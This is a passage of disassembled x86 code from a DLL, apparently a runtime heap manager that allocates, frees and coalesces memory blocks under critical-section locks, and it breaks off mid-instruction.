RtlEnterCriticalSection loc_10001866: ; CODE XREF: sub_10001838+22j mov eax, offset off_1000A5E4 call sub_100011FC mov eax, offset off_1000A5F4 call sub_100011FC mov eax, offset off_1000A620 call sub_100011FC push 0FF8h push 0 call sub_1000116C ; LocalAlloc mov ds:dword_1000A61C, eax cmp ds:dword_1000A61C, 0 jz short loc_100018CD mov eax, 3 loc_100018A3: ; CODE XREF: sub_10001838+7Dj mov edx, ds:dword_1000A61C xor ecx, ecx mov [edx+eax*4-0Ch], ecx inc eax cmp eax, 401h jnz short loc_100018A3 mov eax, offset dword_1000A604 mov [eax+4], eax mov [eax], eax mov ds:dword_1000A610, eax mov ds:byte_1000A5BC, 1 loc_100018CD: ; CODE XREF: sub_10001838+64j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100018F5 loc_100018DA: ; CODE XREF: sub_10001838+BBj cmp ds:byte_1000A045, 0 jz short locret_100018ED push offset dword_1000A5C4 call sub_1000119C ; RtlLeaveCriticalSection locret_100018ED: ; CODE XREF: sub_10001838+A9j retn ; --------------------------------------------------------------------------- loc_100018EE: ; DATA XREF: sub_10001838+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100018DA ; --------------------------------------------------------------------------- loc_100018F5: ; DATA XREF: sub_10001838+9Do mov al, ds:byte_1000A5BC pop ebp retn sub_10001838 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100018FC proc near ; CODE XREF: sub_1000428C+37p push ebp mov ebp, esp push ebx cmp ds:byte_1000A5BC, 0 jz loc_100019D9 xor edx, edx push ebp push offset loc_100019D2 push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_1000A045, 0 jz short loc_1000192E push offset dword_1000A5C4 call sub_10001194 ; RtlEnterCriticalSection loc_1000192E: ; CODE XREF: sub_100018FC+26j mov ds:byte_1000A5BC, 0 mov eax, ds:dword_1000A61C push eax call sub_10001174 ; LocalFree xor eax, eax mov ds:dword_1000A61C, eax mov ebx, ds:off_1000A5E4 jmp short loc_10001961 ; --------------------------------------------------------------------------- loc_1000194F: ; CODE XREF: sub_100018FC+6Bj push 8000h push 0 mov eax, [ebx+8] push eax call sub_10001184 ; VirtualFree mov ebx, [ebx] loc_10001961: ; CODE XREF: sub_100018FC+51j cmp ebx, offset off_1000A5E4 jnz short loc_1000194F mov eax, offset off_1000A5E4 call sub_100011FC mov eax, offset off_1000A5F4 call sub_100011FC mov eax, offset off_1000A620 call sub_100011FC mov eax, ds:dword_1000A5DC test eax, eax jz short loc_100019A7 loc_10001990: ; CODE XREF: sub_100018FC+A9j mov edx, [eax] mov ds:dword_1000A5DC, edx push eax call sub_10001174 ; LocalFree mov eax, ds:dword_1000A5DC test eax, eax jnz short loc_10001990 loc_100019A7: ; CODE XREF: sub_100018FC+92j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100019D9 loc_100019B4: ; CODE XREF: sub_100018FC+DBj cmp ds:byte_1000A045, 0 jz short loc_100019C7 push offset dword_1000A5C4 call sub_1000119C ; RtlLeaveCriticalSection loc_100019C7: ; CODE XREF: sub_100018FC+BFj push offset dword_1000A5C4 call sub_100011A4 ; RtlDeleteCriticalSection retn ; --------------------------------------------------------------------------- loc_100019D2: ; DATA XREF: sub_100018FC+14o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100019B4 ; --------------------------------------------------------------------------- loc_100019D9: ; CODE XREF: sub_100018FC+Bj ; DATA XREF: sub_100018FC+B3o pop ebx pop ebp retn sub_100018FC endp ; =============== S U B R O U T I N E ======================================= sub_100019DC proc near ; CODE XREF: sub_10001AEC:loc_10001B4Dp ; sub_10001B5C+23p ... push ebx cmp eax, ds:dword_1000A610 jnz short loc_100019EE mov edx, [eax+4] mov ds:dword_1000A610, edx loc_100019EE: ; CODE XREF: sub_100019DC+7j mov edx, [eax+4] mov ecx, [eax+8] cmp ecx, 1000h jg short loc_10001A34 cmp eax, edx jnz short loc_10001A17 test ecx, ecx jns short loc_10001A07 add ecx, 3 loc_10001A07: ; CODE XREF: sub_100019DC+26j sar ecx, 2 mov eax, ds:dword_1000A61C xor edx, edx mov [eax+ecx*4-0Ch], edx jmp short loc_10001A3B ; --------------------------------------------------------------------------- loc_10001A17: ; CODE XREF: sub_100019DC+22j test ecx, ecx jns short loc_10001A1E add ecx, 3 loc_10001A1E: ; CODE XREF: sub_100019DC+3Dj sar ecx, 2 mov ebx, ds:dword_1000A61C mov [ebx+ecx*4-0Ch], edx mov eax, [eax] mov [edx], eax mov [eax+4], edx pop ebx retn ; --------------------------------------------------------------------------- loc_10001A34: ; CODE XREF: sub_100019DC+1Ej mov eax, [eax] mov [edx], eax mov [eax+4], edx loc_10001A3B: ; CODE XREF: sub_100019DC+39j pop ebx retn sub_100019DC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10001A40 proc near ; CODE XREF: sub_10001B94+11p mov edx, ds:off_1000A620 jmp short loc_10001A58 ; --------------------------------------------------------------------------- loc_10001A48: ; CODE XREF: sub_10001A40+1Ej mov ecx, [edx+8] cmp eax, ecx jb short loc_10001A56 add ecx, [edx+0Ch] cmp eax, ecx jb short loc_10001A6C loc_10001A56: ; CODE XREF: sub_10001A40+Dj mov edx, [edx] loc_10001A58: ; CODE XREF: sub_10001A40+6j cmp edx, offset off_1000A620 jnz short loc_10001A48 mov ds:dword_1000A5C0, 3 xor edx, edx loc_10001A6C: ; CODE XREF: sub_10001A40+14j mov eax, edx retn sub_10001A40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10001A70 proc near ; CODE XREF: sub_10001B94+74p ; sub_10001D18+68p push ebx mov ecx, edx sub ecx, 4 lea ebx, [ecx+eax] cmp edx, 10h jl short loc_10001A8D mov dword ptr [ebx], 80000007h mov edx, ecx call sub_10001C44 pop ebx retn ; --------------------------------------------------------------------------- loc_10001A8D: ; CODE XREF: sub_10001A70+Cj cmp edx, 4 jl short loc_10001A9E mov ecx, edx or ecx, 80000002h mov [eax], ecx mov [ebx], ecx loc_10001A9E: ; CODE XREF: sub_10001A70+20j pop ebx retn sub_10001A70 endp ; =============== S U B R O U T I N E ======================================= sub_10001AA0 proc near ; CODE XREF: sub_10001AC4+Dp ; sub_10001CCC+36p ... inc ds:dword_1000A5AC mov edx, eax sub edx, 4 mov edx, [edx] and edx, 7FFFFFFCh sub edx, 4 add ds:dword_1000A5B0, edx call sub_100020B4 retn sub_10001AA0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001AC4 proc near ; CODE XREF: sub_10001B94+8Ep cmp edx, 0Ch jl short loc_10001AD7 or edx, 2 mov [eax], edx add eax, 4 call sub_10001AA0 retn ; --------------------------------------------------------------------------- loc_10001AD7: ; CODE XREF: sub_10001AC4+3j cmp edx, 4 jl short loc_10001AE6 mov ecx, edx or ecx, 80000002h mov [eax], ecx loc_10001AE6: ; CODE XREF: sub_10001AC4+16j add eax, edx and dword ptr [eax], 0FFFFFFFEh retn sub_10001AC4 endp ; =============== S U B R O U T I N E ======================================= sub_10001AEC proc near ; CODE XREF: sub_10001D18+36p push ebx push esi mov edx, eax sub edx, 4 mov edx, [edx] mov ecx, edx and ecx, 80000002h cmp ecx, 80000002h jz short loc_10001B0F mov ds:dword_1000A5C0, 4 loc_10001B0F: ; CODE XREF: sub_10001AEC+17j mov ebx, edx and ebx, 7FFFFFFCh sub eax, ebx mov ecx, eax xor edx, [ecx] test edx, 0FFFFFFFEh jz short loc_10001B2F mov ds:dword_1000A5C0, 5 loc_10001B2F: ; CODE XREF: sub_10001AEC+37j test byte ptr [ecx], 1 jz short loc_10001B54 mov edx, eax sub edx, 0Ch mov esi, [edx+8] sub eax, esi cmp esi, [eax+8] jz short loc_10001B4D mov ds:dword_1000A5C0, 6 loc_10001B4D: ; CODE XREF: sub_10001AEC+55j call sub_100019DC add ebx, esi loc_10001B54: ; CODE XREF: sub_10001AEC+46j mov eax, ebx pop esi pop ebx retn sub_10001AEC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001B5C proc near ; CODE XREF: sub_10001D18+4Fp push ebx push esi push edi mov ebx, eax xor edi, edi mov eax, [ebx] test eax, 80000000h jz short loc_10001B77 and eax, 7FFFFFFCh add edi, eax add ebx, eax mov eax, [ebx] loc_10001B77: ; CODE XREF: sub_10001B5C+Ej test al, 2 jnz short loc_10001B8E mov esi, ebx mov eax, esi call sub_100019DC mov eax, [esi+8] add edi, eax add ebx, eax and dword ptr [ebx], 0FFFFFFFEh loc_10001B8E: ; CODE XREF: sub_10001B5C+1Dj mov eax, edi pop edi pop esi pop ebx retn sub_10001B5C endp ; =============== S U B R O U T I N E ======================================= sub_10001B94 proc near ; CODE XREF: sub_10001C44+61p var_1C = byte ptr -1Ch var_1B = dword ptr -1Bh var_17 = dword ptr -17h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov edi, edx mov esi, eax mov [esp+1Ch+var_1C], 0 mov eax, esi call sub_10001A40 mov ebx, eax test ebx, ebx jz loc_10001C36 mov ebp, [ebx+8] mov eax, ebp add eax, [ebx+0Ch] mov edx, eax lea ecx, [edi+esi] sub edx, ecx cmp edx, 0Ch jg short loc_10001BCC mov edi, eax sub edi, esi loc_10001BCC: ; CODE XREF: sub_10001B94+32j mov eax, esi sub eax, ebp cmp eax, 0Ch jge short loc_10001BE9 lea ecx, [esp+1Ch+var_1B] mov edx, esi sub edx, [ebx+8] add edx, edi mov eax, ebp call sub_100017AC jmp short loc_10001BFA ; --------------------------------------------------------------------------- loc_10001BE9: ; CODE XREF: sub_10001B94+3Fj lea ecx, [esp+1Ch+var_1B] mov edx, edi sub edx, 4 lea eax, [esi+4] call sub_100017AC loc_10001BFA: ; CODE XREF: sub_10001B94+53j mov ebp, [esp+1Ch+var_1B] test ebp, ebp jz short loc_10001C36 mov edx, ebp sub edx, esi mov eax, esi call sub_10001A70 mov eax, ebp add eax, [esp+1Ch+var_17] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnb short loc_10001C27 lea edx, [edi+esi] sub edx, eax call sub_10001AC4 loc_10001C27: ; CODE XREF: sub_10001B94+87j lea edx, [esp+1Ch+var_1B] mov eax, ebx call sub_100012BC mov [esp+1Ch+var_1C], 1 loc_10001C36: ; CODE XREF: sub_10001B94+1Aj ; sub_10001B94+6Cj mov al, [esp+1Ch+var_1C] add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_10001B94 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001C44 proc near ; CODE XREF: sub_10001A70+16p ; sub_10001E30+BBp ... push ebx push esi push edi mov esi, edx mov edi, eax mov ebx, edi mov [ebx+8], esi mov eax, ebx add eax, esi sub eax, 0Ch mov [eax+8], esi cmp esi, 1000h jg short loc_10001C99 mov edx, esi test edx, edx jns short loc_10001C6B add edx, 3 loc_10001C6B: ; CODE XREF: sub_10001C44+22j sar edx, 2 mov eax, ds:dword_1000A61C mov eax, [eax+edx*4-0Ch] test eax, eax jnz short loc_10001C8B mov eax, ds:dword_1000A61C mov [eax+edx*4-0Ch], ebx mov [ebx+4], ebx mov [ebx], ebx jmp short loc_10001CC5 ; --------------------------------------------------------------------------- loc_10001C8B: ; CODE XREF: sub_10001C44+35j mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx jmp short loc_10001CC5 ; --------------------------------------------------------------------------- loc_10001C99: ; CODE XREF: sub_10001C44+1Cj cmp esi, 3C00h jl short loc_10001CAE mov edx, esi mov eax, edi call sub_10001B94 test al, al jnz short loc_10001CC5 loc_10001CAE: ; CODE XREF: sub_10001C44+5Bj mov eax, ds:dword_1000A610 mov ds:dword_1000A610, ebx mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx loc_10001CC5: ; CODE XREF: sub_10001C44+45j ; sub_10001C44+53j ... pop edi pop esi pop ebx retn sub_10001C44 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001CCC proc near ; CODE XREF: sub_10001D18+Fp ; sub_100020B4+100p ... cmp ds:dword_1000A614, 0 jle short locret_10001D15 cmp ds:dword_1000A614, 0Ch jge short loc_10001CEA mov ds:dword_1000A5C0, 7 jmp short locret_10001D15 ; --------------------------------------------------------------------------- loc_10001CEA: ; CODE XREF: sub_10001CCC+10j mov eax, ds:dword_1000A614 or eax, 2 mov edx, ds:dword_1000A618 mov [edx], eax mov eax, ds:dword_1000A618 add eax, 4 call sub_10001AA0 xor eax, eax mov ds:dword_1000A618, eax xor eax, eax mov ds:dword_1000A614, eax locret_10001D15: ; CODE XREF: sub_10001CCC+7j ; sub_10001CCC+1Cj retn sub_10001CCC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001D18 proc near ; CODE XREF: sub_10001DA4+18p ; sub_10001DD0+1Dp var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFF0h mov esi, eax lea edi, [esp+1Ch+var_1C] movsd movsd mov edi, esp call sub_10001CCC lea ecx, [esp+1Ch+var_14] mov edx, edi mov eax, offset off_1000A620 call sub_1000124C mov ebx, [esp+1Ch+var_14] test ebx, ebx jnz short loc_10001D48 xor eax, eax jmp short loc_10001D9A ; --------------------------------------------------------------------------- loc_10001D48: ; CODE XREF: sub_10001D18+2Aj mov eax, [edi] cmp ebx, eax jnb short loc_10001D58 call sub_10001AEC sub [edi], eax add [edi+4], eax loc_10001D58: ; CODE XREF: sub_10001D18+34j mov eax, [edi] add eax, [edi+4] mov esi, ebx add esi, [esp+1Ch+var_10] cmp eax, esi jnb short loc_10001D6F call sub_10001B5C add [edi+4], eax loc_10001D6F: ; CODE XREF: sub_10001D18+4Dj mov eax, [edi] add eax, [edi+4] cmp esi, eax jnz short loc_10001D89 sub eax, 4 mov edx, 4 call sub_10001A70 sub dword ptr [edi+4], 4 loc_10001D89: ; CODE XREF: sub_10001D18+5Ej mov eax, [edi] mov ds:dword_1000A618, eax mov eax, [edi+4] mov ds:dword_1000A614, eax mov al, 1 loc_10001D9A: ; CODE XREF: sub_10001D18+2Ej add esp, 10h pop edi pop esi pop ebx retn sub_10001D18 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001DA4 proc near ; CODE XREF: sub_10001E30+57p var_C = dword ptr -0Ch push ebx add esp, 0FFFFFFF8h mov ebx, eax mov edx, esp lea eax, [ebx+4] call sub_100015F8 cmp [esp+0Ch+var_C], 0 jz short loc_10001DC5 mov eax, esp call sub_10001D18 test al, al jnz short loc_10001DC9 loc_10001DC5: ; CODE XREF: sub_10001DA4+14j xor eax, eax jmp short loc_10001DCB ; --------------------------------------------------------------------------- loc_10001DC9: ; CODE XREF: sub_10001DA4+1Fj mov al, 1 loc_10001DCB: ; CODE XREF: sub_10001DA4+23j pop ecx pop edx pop ebx retn sub_10001DA4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10001DD0 proc near ; CODE XREF: sub_10002258+1A4p var_10 = dword ptr -10h push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax mov ecx, esp lea edx, [esi+4] mov eax, ebx call sub_10001688 cmp [esp+10h+var_10], 0 jz short loc_10001DF6 mov eax, esp call sub_10001D18 test al, al jnz short loc_10001DFA loc_10001DF6: ; CODE XREF: sub_10001DD0+19j xor eax, eax jmp short loc_10001DFC ; --------------------------------------------------------------------------- loc_10001DFA: ; CODE XREF: sub_10001DD0+24j mov al, 1 loc_10001DFC: ; CODE XREF: sub_10001DD0+28j pop ecx pop edx pop esi pop ebx retn sub_10001DD0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001E04 proc near ; CODE XREF: sub_10001E30+4Ap xor edx, edx test eax, eax jns short loc_10001E0D add eax, 3 loc_10001E0D: ; CODE XREF: sub_10001E04+4j sar eax, 2 cmp eax, 400h jg short loc_10001E2D loc_10001E17: ; CODE XREF: sub_10001E04+27j mov edx, ds:dword_1000A61C mov edx, [edx+eax*4-0Ch] test edx, edx jnz short loc_10001E2D inc eax cmp eax, 401h jnz short loc_10001E17 loc_10001E2D: ; CODE XREF: sub_10001E04+11j ; sub_10001E04+1Fj mov eax, edx retn sub_10001E04 endp ; =============== S U B R O U T I N E ======================================= sub_10001E30 proc near ; CODE XREF: sub_10001F24+153p push ebx push esi push edi push ebp mov esi, eax mov edi, offset dword_1000A610 mov ebp, offset dword_1000A614 loc_10001E40: ; CODE XREF: sub_10001E30+6Aj mov ebx, ds:dword_1000A608 cmp esi, [ebx+8] jle loc_10001ED3 mov ebx, [edi] mov eax, [ebx+8] cmp esi, eax jle short loc_10001ED3 mov [ebx+8], esi loc_10001E5B: ; CODE XREF: sub_10001E30+31j mov ebx, [ebx+4] cmp esi, [ebx+8] jg short loc_10001E5B mov edx, [edi] mov [edx+8], eax cmp ebx, [edi] jz short loc_10001E70 mov [edi], ebx jmp short loc_10001ED3 ; --------------------------------------------------------------------------- loc_10001E70: ; CODE XREF: sub_10001E30+3Aj cmp esi, 1000h jg short loc_10001E85 mov eax, esi call sub_10001E04 mov ebx, eax test ebx, ebx jnz short loc_10001ED3 loc_10001E85: ; CODE XREF: sub_10001E30+46j mov eax, esi call sub_10001DA4 test al, al jnz short loc_10001E97 xor eax, eax jmp loc_10001F1F ; --------------------------------------------------------------------------- loc_10001E97: ; CODE XREF: sub_10001E30+5Ej cmp esi, [ebp+0] jg short loc_10001E40 sub [ebp+0], esi cmp dword ptr [ebp+0], 0Ch jge short loc_10001EAD add esi, [ebp+0] xor eax, eax mov [ebp+0], eax loc_10001EAD: ; CODE XREF: sub_10001E30+73j mov eax, ds:dword_1000A618 add ds:dword_1000A618, esi mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc ds:dword_1000A5AC sub esi, 4 add ds:dword_1000A5B0, esi jmp short loc_10001F1F ; --------------------------------------------------------------------------- loc_10001ED3: ; CODE XREF: sub_10001E30+19j ; sub_10001E30+26j ... mov eax, ebx call sub_100019DC mov edx, [ebx+8] mov eax, edx sub eax, esi cmp eax, 0Ch jl short loc_10001EF2 mov edx, ebx add edx, esi xchg eax, edx call sub_10001C44 jmp short loc_10001F04 ; --------------------------------------------------------------------------- loc_10001EF2: ; CODE XREF: sub_10001E30+B4j mov esi, edx cmp ebx, [edi] jnz short loc_10001EFD mov eax, [ebx+4] mov [edi], eax loc_10001EFD: ; CODE XREF: sub_10001E30+C6j mov eax, ebx add eax, esi and dword ptr [eax], 0FFFFFFFEh loc_10001F04: ; CODE XREF: sub_10001E30+C0j mov eax, ebx mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc ds:dword_1000A5AC sub esi, 4 add ds:dword_1000A5B0, esi loc_10001F1F: ; CODE XREF: sub_10001E30+62j ; sub_10001E30+A1j pop ebp pop edi pop esi pop ebx retn sub_10001E30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10001F24 proc near ; CODE XREF: sub_10002434+5Cp ; sub_100024F8+5p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ebx, eax cmp ds:byte_1000A5BC, 0 jnz short loc_10001F41 call sub_10001838 test al, al jz short loc_10001F49 loc_10001F41: ; CODE XREF: sub_10001F24+12j cmp ebx, 7FFFFFF8h jle short loc_10001F53 loc_10001F49: ; CODE XREF: sub_10001F24+1Bj xor eax, eax mov [ebp+var_4], eax jmp loc_100020A7 ; --------------------------------------------------------------------------- loc_10001F53: ; CODE XREF: sub_10001F24+23j xor ecx, ecx push ebp push offset loc_100020A0 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp ds:byte_1000A045, 0 jz short loc_10001F74 push offset dword_1000A5C4 call sub_10001194 ; RtlEnterCriticalSection loc_10001F74: ; CODE XREF: sub_10001F24+44j add ebx, 7 and ebx, 0FFFFFFFCh cmp ebx, 0Ch jge short loc_10001F84 mov ebx, 0Ch loc_10001F84: ; CODE XREF: sub_10001F24+59j cmp ebx, 1000h jg loc_10002023 mov eax, ebx test eax, eax jns short loc_10001F99 add eax, 3 loc_10001F99: ; CODE XREF: sub_10001F24+70j sar eax, 2 mov edx, ds:dword_1000A61C mov edx, [edx+eax*4-0Ch] test edx, edx jz short loc_10002023 mov esi, edx mov eax, esi add eax, ebx and dword ptr [eax], 0FFFFFFFEh mov eax, [edx+4] cmp edx, eax jnz short loc_10001FD4 mov eax, ebx test eax, eax jns short loc_10001FC3 add eax, 3 loc_10001FC3: ; CODE XREF: sub_10001F24+9Aj sar eax, 2 mov ecx, ds:dword_1000A61C xor edi, edi mov [ecx+eax*4-0Ch], edi jmp short loc_10001FFA ; --------------------------------------------------------------------------- loc_10001FD4: ; CODE XREF: sub_10001F24+94j mov ecx, ebx test ecx, ecx jns short loc_10001FDD add ecx, 3 loc_10001FDD: ; CODE XREF: sub_10001F24+B4j sar ecx, 2 mov edi, ds:dword_1000A61C mov [edi+ecx*4-0Ch], eax mov ecx, [edx] mov [ebp+var_8], ecx mov ecx, [ebp+var_8] mov [ecx+4], eax mov ecx, [ebp+var_8] mov [eax], ecx loc_10001FFA: ; CODE XREF: sub_10001F24+AEj mov eax, esi mov edx, [edx+8] or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc ds:dword_1000A5AC sub ebx, 4 add ds:dword_1000A5B0, ebx call sub_1000312C jmp loc_100020A7 ; --------------------------------------------------------------------------- loc_10002023: ; CODE XREF: sub_10001F24+66j ; sub_10001F24+84j cmp ebx, ds:dword_1000A614 jg short loc_10002075 sub ds:dword_1000A614, ebx cmp ds:dword_1000A614, 0Ch jge short loc_10002047 add ebx, ds:dword_1000A614 xor eax, eax mov ds:dword_1000A614, eax loc_10002047: ; CODE XREF: sub_10001F24+114j mov eax, ds:dword_1000A618 add ds:dword_1000A618, ebx mov edx, ebx or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc ds:dword_1000A5AC sub ebx, 4 add ds:dword_1000A5B0, ebx call sub_1000312C jmp short loc_100020A7 ; --------------------------------------------------------------------------- loc_10002075: ; CODE XREF: sub_10001F24+105j mov eax, ebx call sub_10001E30 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100020A7 loc_1000208C: ; CODE XREF: sub_10001F24+181j cmp ds:byte_1000A045, 0 jz short locret_1000209F push offset dword_1000A5C4 call sub_1000119C ; RtlLeaveCriticalSection locret_1000209F: ; CODE XREF: sub_10001F24+16Fj retn ; --------------------------------------------------------------------------- loc_100020A0: ; DATA XREF: sub_10001F24+32o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_1000208C ; --------------------------------------------------------------------------- loc_100020A7: ; CODE XREF: sub_10001F24+2Aj ; sub_10001F24+FAj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_10001F24 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100020B4 proc near ; CODE XREF: sub_10001AA0+1Cp ; sub_10002434+88p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, eax xor eax, eax mov ds:dword_1000A5C0, eax cmp ds:byte_1000A5BC, 0 jnz short loc_100020EC call sub_10001838 test al, al jnz short loc_100020EC mov ds:dword_1000A5C0, 8 mov [ebp+var_4], 8 jmp loc_1000224D ; --------------------------------------------------------------------------- loc_100020EC: ; CODE XREF: sub_100020B4+17j ; sub_100020B4+20j xor ecx, ecx push ebp push offset loc_10002246 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp ds:byte_1000A045, 0 jz short loc_1000210D push offset dword_1000A5C4 call sub_10001194 ; RtlEnterCriticalSection loc_1000210D: ; CODE XREF: sub_100020B4+4Dj mov esi, ebx sub esi, 4 mov ebx, [esi] test bl, 2 jnz short loc_10002128 mov ds:dword_1000A5C0, 9 jmp loc_1000221D ; --------------------------------------------------------------------------- loc_10002128: ; CODE XREF: sub_100020B4+63j dec ds:dword_1000A5AC mov eax, ebx and eax, 7FFFFFFCh sub eax, 4 sub ds:dword_1000A5B0, eax test bl, 1 jz short loc_10002188 mov eax, esi sub eax, 0Ch mov edx, [eax+8] cmp edx, 0Ch jl short loc_10002158 test edx, 80000003h jz short loc_10002167 loc_10002158: ; CODE XREF: sub_100020B4+9Aj mov ds:dword_1000A5C0, 0Ah jmp loc_1000221D ; --------------------------------------------------------------------------- loc_10002167: ; CODE XREF: sub_100020B4+A2j mov eax, esi sub eax, edx cmp edx, [eax+8] jz short loc_1000217F mov ds:dword_1000A5C0, 0Ah jmp loc_1000221D ; --------------------------------------------------------------------------- loc_1000217F: ; CODE XREF: sub_100020B4+BAj add ebx, edx mov esi, eax call sub_100019DC loc_10002188: ; CODE XREF: sub_100020B4+8Dj and ebx, 7FFFFFFCh mov eax, esi add eax, ebx mov edi, eax cmp edi, ds:dword_1000A618 jnz short loc_100021C8 sub ds:dword_1000A618, ebx add ds:dword_1000A614, ebx cmp ds:dword_1000A614, 3C00h jle short loc_100021B9 call sub_10001CCC loc_100021B9: ; CODE XREF: sub_100020B4+FEj xor eax, eax mov [ebp+var_4], eax call sub_1000312C jmp loc_1000224D ; --------------------------------------------------------------------------- loc_100021C8: ; CODE XREF: sub_100020B4+E6j mov edx, [eax] test dl, 2 jz short loc_100021EB and edx, 7FFFFFFCh cmp edx, 4 jge short loc_100021E6 mov ds:dword_1000A5C0, 0Bh jmp short loc_1000221D ; --------------------------------------------------------------------------- loc_100021E6: ; CODE XREF: sub_100020B4+124j or dword ptr [eax], 1 jmp short loc_10002214 ; --------------------------------------------------------------------------- loc_100021EB: ; CODE XREF: sub_100020B4+119j mov eax, edi cmp dword ptr [eax+4], 0 jz short loc_100021FE cmp dword ptr [eax], 0 jz short loc_100021FE cmp dword ptr [eax+8], 0Ch jge short loc_1000220A loc_100021FE: ; CODE XREF: sub_100020B4+13Dj ; sub_100020B4+142j mov ds:dword_1000A5C0, 0Bh jmp short loc_1000221D ; --------------------------------------------------------------------------- loc_1000220A: ; CODE XREF: sub_100020B4+148j mov edx, [eax+8] add ebx, edx call sub_100019DC loc_10002214: ; CODE XREF: sub_100020B4+135j mov edx, ebx mov eax, esi call sub_10001C44 loc_1000221D: ; CODE XREF: sub_100020B4+6Fj ; sub_100020B4+AEj ... mov eax, ds:dword_1000A5C0 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000224D loc_10002232: ; CODE XREF: sub_100020B4+197j cmp ds:byte_1000A045, 0 jz short locret_10002245 push offset dword_1000A5C4 call sub_1000119C ; RtlLeaveCriticalSection locret_10002245: ; CODE XREF: sub_100020B4+185j retn ; --------------------------------------------------------------------------- loc_10002246: ; DATA XREF: sub_100020B4+3Bo jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10002232 ; --------------------------------------------------------------------------- loc_1000224D: ; CODE XREF: sub_100020B4+33j ; sub_100020B4+10Fj ; DATA XREF: ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn sub_100020B4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002258 proc near ; CODE XREF: sub_10002434+4Cp var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx add esi, 7 and esi, 0FFFFFFFCh cmp esi, 0Ch jge short loc_10002271 mov esi, 0Ch loc_10002271: ; CODE XREF: sub_10002258+12j mov ebp, eax sub ebp, 4 mov edi, [ebp+0] and edi, 7FFFFFFCh mov eax, ebp add eax, edi mov ebx, eax cmp edi, esi jnz short loc_10002290 mov al, 1 jmp loc_1000242B ; --------------------------------------------------------------------------- loc_10002290: ; CODE XREF: sub_10002258+2Fj cmp edi, esi jle loc_1000231B mov edx, edi sub edx, esi mov [esp+18h+var_18], edx cmp ebx, ds:dword_1000A618 jnz short loc_100022DF mov eax, [esp+18h+var_18] sub ds:dword_1000A618, eax mov eax, [esp+18h+var_18] add ds:dword_1000A614, eax cmp ds:dword_1000A614, 0Ch jge loc_10002412 mov eax, [esp+18h+var_18] add ds:dword_1000A618, eax mov eax, [esp+18h+var_18] sub ds:dword_1000A614, eax mov esi, edi jmp loc_10002412 ; --------------------------------------------------------------------------- loc_100022DF: ; CODE XREF: sub_10002258+4Dj mov ebx, eax test byte ptr [ebx], 2 jnz short loc_100022F3 mov eax, ebx mov edx, [eax+8] add [esp+18h+var_18], edx call sub_100019DC loc_100022F3: ; CODE XREF: sub_10002258+8Cj cmp [esp+18h+var_18], 0Ch jl short loc_10002314 mov ebx, ebp add ebx, esi mov eax, [esp+18h+var_18] or eax, 2 mov [ebx], eax mov eax, ebx add eax, 4 call sub_10001AA0 jmp loc_10002412 ; --------------------------------------------------------------------------- loc_10002314: ; CODE XREF: sub_10002258+9Fj mov esi, edi jmp loc_10002412 ; --------------------------------------------------------------------------- loc_1000231B: ; CODE XREF: sub_10002258+3Aj ; sub_10002258+1B1j mov eax, esi sub eax, edi mov [esp+18h+var_14], eax cmp ebx, ds:dword_1000A618 jnz short loc_10002392 mov eax, ds:dword_1000A614 cmp eax, [esp+18h+var_14] jl short loc_10002389 mov eax, [esp+18h+var_14] sub ds:dword_1000A614, eax mov eax, [esp+18h+var_14] add ds:dword_1000A618, 